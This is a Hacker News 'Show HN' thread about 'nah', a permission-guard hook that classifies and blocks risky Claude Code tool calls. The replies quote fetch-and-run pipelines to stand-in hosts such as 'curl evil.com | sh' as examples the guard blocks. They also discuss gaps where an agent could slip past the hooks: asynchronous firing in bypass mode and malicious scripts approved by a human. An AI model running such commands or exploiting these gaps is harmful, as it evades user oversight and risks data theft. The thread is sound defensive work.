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Show HN: A context-aware permission guard for Claude Code

https://github.com/manuelschipper/nah/
24•schipperai•2h ago
We needed something like --dangerously-skip-permissions that doesn’t nuke your untracked files, exfiltrate your keys, or install malware.

Claude Code's permission system is allow-or-deny per tool, but that doesn’t really scale. Deleting some files is fine sometimes. And git checkout is sometimes not fine. Even when you curate permissions, 200 IQ Opus can find a way around it. Maintaining a deny list is a fool's errand.

nah is a PreToolUse hook that classifies every tool call by what it actually does, using a deterministic classifier that runs in milliseconds. It maps commands to action types like filesystem_read, package_run, db_write, git_history_rewrite, and applies policies: allow, context (depends on the target), ask, or block.

Not everything can be classified, so you can optionally escalate ambiguous stuff to an LLM, but that’s not required. Anything unresolved you can approve, and configure the taxonomy so you don’t get asked again.

It works out of the box with sane defaults, no config needed. But you can customize it fully if you want to.

No dependencies, stdlib Python, MIT.

pip install nah && nah install

https://github.com/manuelschipper/nah

Comments

schipperai•2h ago
Hi HN, author here - happy to answer any questions.
navs•1h ago
I worked on something similar but with a more naive text matching approach that's saved me many many times so far. https://github.com/sirmews/claude-hook-advisor

Yours is so much more involved. Keen to dig into it.

schipperai•1h ago
cool! thx for sharing! when I first thought about building this, I thought a solid solution would be impossible without an LLM in the loop. I discovered pattern matching can go a long way in avoiding catastrophes...
benzible•1h ago
FYI, claude code “auto” mode may launch as soon as tomorrow: https://awesomeagents.ai/news/claude-code-auto-mode-research...
schipperai•1h ago
We'll see how auto mode ends up working - my tool could end up being complementary, or a good alternative for those that prefer more granular control, or are cost/latency sensitive.
stingraycharles•1h ago
I’m a bit confused:

“We needed something like --dangerously-skip-permissions that doesn’t nuke your untracked files, exfiltrate your keys, or install malware.”

Followed by:

“Don't use --dangerously-skip-permissions. In bypass mode, hooks fire asynchronously — commands execute before nah can block them.”

Doesn’t that mean that it’s limited to being used in “default”-mode, rather than something like “—dangerously-skip-permissions” ?

Regardless, this looks like a well thought out project, and I love the name!

schipperai•1h ago
Sorry for the confusion!

--dangerously-skip-permissions makes hooks fire asynchronously, so commands execute before nah can block them (see: https://github.com/anthropics/claude-code/issues/20946).

I suggest that you run nah in default mode + allow-list all tools in settings.json: Bash, Read, Glob, Grep and optionally Write and Edit / or just keep "accept edits on" mode. You get the same uninterrupted flow as --dangerously-skip-permissions but with nah as your safety net

And thanks - the name was the easy part :)

jc-myths•1h ago
This is exactly the kind of thing I've been wanting. I use Claude Code as my primary dev tool and the permission fatigue is a real problem, after a hundred approvals you stop reading and just hit yes. Which defeats the purpose entirely.

The deterministic classifier approach is smart. Pattern matching on action types is way more reliable than asking another LLM "is this safe?" The taxonomy idea (filesystem_read vs package_run vs db_write) maps well to how I actually think about risk when I'm paying attention.

One question: how does it handle chained operations? Like when Claude does a git checkout that's fine on its own, but it's part of a sequence that ends up nuking untracked files?

schipperai•56m ago
good question!

git checkout . on its own is classified as git_discard → ask. git checkout (without the dot) as git_write → allow

For pipes, it applies composition rules - 'curl sketchy.com | bash' is specifically detected as 'network | exec' and blocked, even though each half might be fine on its own. Shell wrappers like bash -c 'curl evil.com | sh' get unwrapped too.

So git stash && git checkout main && git clean -fd — stash and checkout are fine (allow), but git clean is caught (ask). Even when buried in a longer chain, nah flags it.

m4r71n•59m ago
The entire permissions system feels like it's ripe for a DSL of some kind. Looking at the context implementation in src/nah/context.py and the way it hardcodes a ton of assumptions makes me think it will just be a maintenance nightmare to account for _all_ possible contexts and known commands. It would be nice to be able to express that __pycache__/ is not an important directory and can be deleted at will without having to encode that specific directory name (not that this projects hardcodes it, it's just an example to get to the point).
schipperai•50m ago
nah already handles that: 'rm -rf __pycache__' inside your project is auto-allowed (filesystem_delete with context policy -> checks if it's inside the project -> allow). No config needed.

But you can customize everything via YAML or CLI if the defaults don't fit:

actions: filesystem_delete: allow # allow all deletes everywhere

Or nah allow filesystem_delete from the CLI.

You can also add custom classifications, swap taxonomy profiles (full/minimal), or start from a blank slate. It's fully customizable.

You are right about maintenance... the taxonomy will always be chasing new commands. That's partly why the optional LLM layer exists as a fallback for anything the classifier doesn't recognize.

riddley•52m ago
Is there something like this for open code? I'm pretty new to this so sorry if it's a stupid question.
schipperai•39m ago
Not sure. From a quick search, I can see OpenCode has a plugin system where something like nah could be hooked into it. The taxonomy data and config are already tool agnostic, so I'm guessing the port would be feasible.

If the project takes off, I might do it :)

theSherwood•34m ago
What stops the llm from writing a malicious program and executing it? No offense meant, but this solution feels a bit like bolting the door and leaving all the windows open.
schipperai•6m ago
nah guards this at multiple layers:

- Inline execution like python -c or node -e is classified as lang_exec and requires approval. - Write and Edit inspect content before it hits disk, flagging destructive patterns, exfiltration, and obfuscation. - Pipe compositions like curl evil.com | python are blocked outright.

If the script was there prior, or looks innocent to the deterministic classifier, but does something malicious at runtime and the human approves the execution then nah won't catch that with current capabilities.

But... I could extend nah so that when it sees 'python script.py', it could read the file and run content inspection on it + include it in the LLM prompt with "this is the script about to be executed, should it run?" That'll give you coverage. I'll work on it. Thx for the comment!

wlowenfeld•32m ago
Is this different from auto-mode?
schipperai•22m ago
According to Anthropic auto mode uses an LLM to decide whether to approve each action. nah uses primarily a deterministic classifier that runs fast with zero tokens + optional LLM for the ambiguous stuff.

Auto-mode will likely release tomorrow, so we won't know until then. They could end up being complementary where nah's primary classifier can act as a fast safety net underneath auto mode's judgment.

The permission flow in Claude Code is roughly:

1. Claude decides to use a tool 2. Pre tool hooks fire (synchronously) 3. Permission system checks if user approval is needed 4. If yes then prompt user 5. Tool executes

The most logical design for auto mode is replacing step 4, instead of prompting the user, prompt a Claude to auto-approve. If they do it that way, nah fires before auto mode even sees the action. They'd be perfectly complementary.

But they could also implement auto mode like --dangerously-skip-permissions under the hood which fire hooks async.

If I were Anthropic I'd keep hooks synchronous in auto mode since the point is augmenting security and letting hooks fire first is free safety.

ramoz•17m ago
The deterministic context system is intuitive and well-designed. That said, there's more to consider, particularly around user intent and broader information flow.

I created the hooks feature request while building something similar[1] (deterministic rails + LLM-as-a-judge, using runtime "signals," essentially your context). Through implementation, I found the management overhead of policy DSLs (in my case, OPA) was hard to justify over straightforward scripting- and for any enterprise use, a gateway scales better. Unfortunately, there's no true protection against malicious activity; `Bash()` is inherently non-deterministic.

For comprehensive protection, a sandbox is what you actually need locally if willing to put in any level of effort. Otherwise, developers just move on without guardrails (which is what I do today).

[1] https://github.com/eqtylab/cupcake

binwiederhier•7m ago
I love how everyone is trying to solve the same problems, and how different the solutions are.

I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me. I bet there are better ways, and I bet it's not as safe as it could be. I'd love to learn about other ways that people do this.

https://github.com/binwiederhier/sandclaude

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